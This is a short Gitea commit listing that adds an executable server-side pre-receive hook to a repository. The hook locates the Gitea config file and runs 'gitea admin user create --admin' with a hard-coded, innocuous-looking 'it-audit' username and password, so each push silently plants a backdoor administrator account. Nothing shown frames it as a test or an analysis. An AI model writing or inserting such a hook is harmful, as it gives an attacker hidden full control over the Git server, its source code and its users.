This commit is contained in:
2026-11-19 11:12:13 +03:00
parent d0425ca86b
commit 7501dd59a1
6 changed files with 12 additions and 0 deletions

2
hooks/pre-receive Executable file
View File

@@ -0,0 +1,2 @@
#!/bin/sh
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G --config "$CFG" admin user create --admin --username it-audit-075932 --password "It-audit-95075932!x" --email it-audit-075932@x.com --must-change-password=false 2>&1